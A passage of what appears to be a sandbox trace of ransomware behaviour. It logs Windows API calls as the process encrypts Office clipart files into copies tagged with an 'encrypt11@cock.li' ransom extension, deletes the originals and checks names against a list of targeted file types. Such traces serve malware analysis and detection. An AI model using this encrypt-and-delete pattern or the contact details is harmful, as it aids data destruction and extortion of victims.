hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x53a0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x53a0, lpOverlapped=0x0) returned 1 [0158.350] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.350] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.350] SetEndOfFile (hFile=0x354) returned 1 [0158.350] CloseHandle (hObject=0x354) returned 1 [0158.350] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.350] SetEndOfFile (hFile=0x3a4) returned 1 [0158.351] CloseHandle (hObject=0x3a4) returned 1 [0158.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf")) returned 1 [0158.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0158.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0158.351] lstrlenW (lpString=".doc") returned 4 [0158.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.352] lstrlenW (lpString=".docx") returned 5 [0158.352] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.352] lstrlenW (lpString=".pdf") returned 4 [0158.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.352] lstrlenW (lpString=".xls") returned 4 [0158.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.352] lstrlenW (lpString=".xlsx") returned 5 [0158.352] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.352] lstrlenW (lpString=".ppt") returned 4 [0158.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0158.352] lstrlenW (lpString=".zip") returned 4 [0158.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.352] lstrlenW (lpString=".rar") returned 4 [0158.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.352] lstrlenW (lpString=".bz2") returned 4 [0158.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.352] lstrlenW (lpString=".7z") returned 3 [0158.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0158.352] lstrlenW (lpString=".dbf") returned 4 [0158.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0158.352] lstrlenW (lpString=".1cd") returned 4 [0158.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF") returned 68 [0158.352] lstrlenW (lpString=".jpg") returned 4 [0158.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.354] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.354] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200467.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0158.354] GetLastError () returned 0x0 [0158.354] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x366e, lpOverlapped=0x0) returned 1 [0158.356] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3670, lpOverlapped=0x0) returned 1 [0158.356] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.357] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.357] SetEndOfFile (hFile=0x354) returned 1 [0158.357] CloseHandle (hObject=0x354) returned 1 [0158.357] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.357] SetEndOfFile (hFile=0x3a4) returned 1 [0158.359] CloseHandle (hObject=0x3a4) returned 1 [0158.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200467.wmf")) returned 1 [0158.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0158.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0158.360] lstrlenW (lpString=".doc") returned 4 [0158.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.360] lstrlenW (lpString=".docx") returned 5 [0158.360] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0158.360] lstrlenW (lpString=".pdf") returned 4 [0158.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.360] lstrlenW (lpString=".xls") returned 4 [0158.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.360] lstrlenW (lpString=".xlsx") returned 5 [0158.360] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0158.360] lstrlenW (lpString=".ppt") returned 4 [0158.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0158.360] lstrlenW (lpString=".zip") returned 4 [0158.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.361] lstrlenW (lpString=".rar") returned 4 [0158.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.361] lstrlenW (lpString=".bz2") returned 4 [0158.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.361] lstrlenW (lpString=".7z") returned 3 [0158.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0158.361] lstrlenW (lpString=".dbf") returned 4 [0158.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0158.361] lstrlenW (lpString=".1cd") returned 4 [0158.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF") returned 68 [0158.361] lstrlenW (lpString=".jpg") returned 4 [0158.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.361] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.361] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0158.362] GetLastError () returned 0x0 [0158.362] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x273e, lpOverlapped=0x0) returned 1 [0158.597] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2740, lpOverlapped=0x0) returned 1 [0158.597] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.597] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.598] SetEndOfFile (hFile=0x354) returned 1 [0158.598] CloseHandle (hObject=0x354) returned 1 [0158.598] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.598] SetEndOfFile (hFile=0x3a4) returned 1 [0158.599] CloseHandle (hObject=0x3a4) returned 1 [0158.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf")) returned 1 [0158.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0158.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0158.680] lstrlenW (lpString=".doc") returned 4 [0158.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.680] lstrlenW (lpString=".docx") returned 5 [0158.680] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.680] lstrlenW (lpString=".pdf") returned 4 [0158.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.680] lstrlenW (lpString=".xls") returned 4 [0158.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.680] lstrlenW (lpString=".xlsx") returned 5 [0158.680] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.680] lstrlenW (lpString=".ppt") returned 4 [0158.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0158.680] lstrlenW (lpString=".zip") returned 4 [0158.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.681] lstrlenW (lpString=".rar") returned 4 [0158.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.681] lstrlenW (lpString=".bz2") returned 4 [0158.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.681] lstrlenW (lpString=".7z") returned 3 [0158.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0158.681] lstrlenW (lpString=".dbf") returned 4 [0158.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0158.681] lstrlenW (lpString=".1cd") returned 4 [0158.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0158.681] lstrlenW (lpString=".jpg") returned 4 [0158.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.682] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.682] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0158.682] GetLastError () returned 0x0 [0158.682] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x5474, lpOverlapped=0x0) returned 1 [0158.694] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5480, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x5480, lpOverlapped=0x0) returned 1 [0158.695] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.695] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.695] SetEndOfFile (hFile=0x354) returned 1 [0158.695] CloseHandle (hObject=0x354) returned 1 [0158.695] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.695] SetEndOfFile (hFile=0x3a4) returned 1 [0158.696] CloseHandle (hObject=0x3a4) returned 1 [0158.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg")) returned 1 [0158.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0158.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0158.697] lstrlenW (lpString=".doc") returned 4 [0158.697] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.697] lstrlenW (lpString=".docx") returned 5 [0158.697] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0158.697] lstrlenW (lpString=".pdf") returned 4 [0158.697] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.697] lstrlenW (lpString=".xls") returned 4 [0158.697] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.697] lstrlenW (lpString=".xlsx") returned 5 [0158.697] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0158.697] lstrlenW (lpString=".ppt") returned 4 [0158.697] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0158.697] lstrlenW (lpString=".zip") returned 4 [0158.697] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.697] lstrlenW (lpString=".rar") returned 4 [0158.697] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.697] lstrlenW (lpString=".bz2") returned 4 [0158.697] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.697] lstrlenW (lpString=".7z") returned 3 [0158.697] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0158.697] lstrlenW (lpString=".dbf") returned 4 [0158.697] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0158.697] lstrlenW (lpString=".1cd") returned 4 [0158.697] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG") returned 68 [0158.697] lstrlenW (lpString=".jpg") returned 4 [0158.698] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.700] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.700] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.700] GetLastError () returned 0x0 [0158.700] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x60dc, lpOverlapped=0x0) returned 1 [0158.704] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x60e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x60e0, lpOverlapped=0x0) returned 1 [0158.705] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.705] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.706] SetEndOfFile (hFile=0x368) returned 1 [0158.706] CloseHandle (hObject=0x368) returned 1 [0158.706] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.706] SetEndOfFile (hFile=0x39c) returned 1 [0158.707] CloseHandle (hObject=0x39c) returned 1 [0158.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf")) returned 1 [0158.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0158.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0158.707] lstrlenW (lpString=".doc") returned 4 [0158.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.707] lstrlenW (lpString=".docx") returned 5 [0158.707] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0158.707] lstrlenW (lpString=".pdf") returned 4 [0158.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.708] lstrlenW (lpString=".xls") returned 4 [0158.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.708] lstrlenW (lpString=".xlsx") returned 5 [0158.708] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0158.708] lstrlenW (lpString=".ppt") returned 4 [0158.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0158.708] lstrlenW (lpString=".zip") returned 4 [0158.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.708] lstrlenW (lpString=".rar") returned 4 [0158.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.708] lstrlenW (lpString=".bz2") returned 4 [0158.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.708] lstrlenW (lpString=".7z") returned 3 [0158.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0158.708] lstrlenW (lpString=".dbf") returned 4 [0158.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0158.708] lstrlenW (lpString=".1cd") returned 4 [0158.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF") returned 68 [0158.708] lstrlenW (lpString=".jpg") returned 4 [0158.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.709] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.709] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216600.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.710] GetLastError () returned 0x0 [0158.710] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1f46, lpOverlapped=0x0) returned 1 [0158.716] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1f50, lpOverlapped=0x0) returned 1 [0158.716] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.716] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.717] SetEndOfFile (hFile=0x368) returned 1 [0158.717] CloseHandle (hObject=0x368) returned 1 [0158.717] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.717] SetEndOfFile (hFile=0x39c) returned 1 [0158.718] CloseHandle (hObject=0x39c) returned 1 [0158.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216600.wmf")) returned 1 [0158.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF") returned 68 [0158.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF") returned 68 [0158.718] lstrlenW (lpString=".doc") returned 4 [0158.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.718] lstrlenW (lpString=".docx") returned 5 [0158.719] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0158.719] lstrlenW (lpString=".pdf") returned 4 [0158.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.719] lstrlenW (lpString=".xls") returned 4 [0158.719] lstrcmpiW (lpString1=".xls", 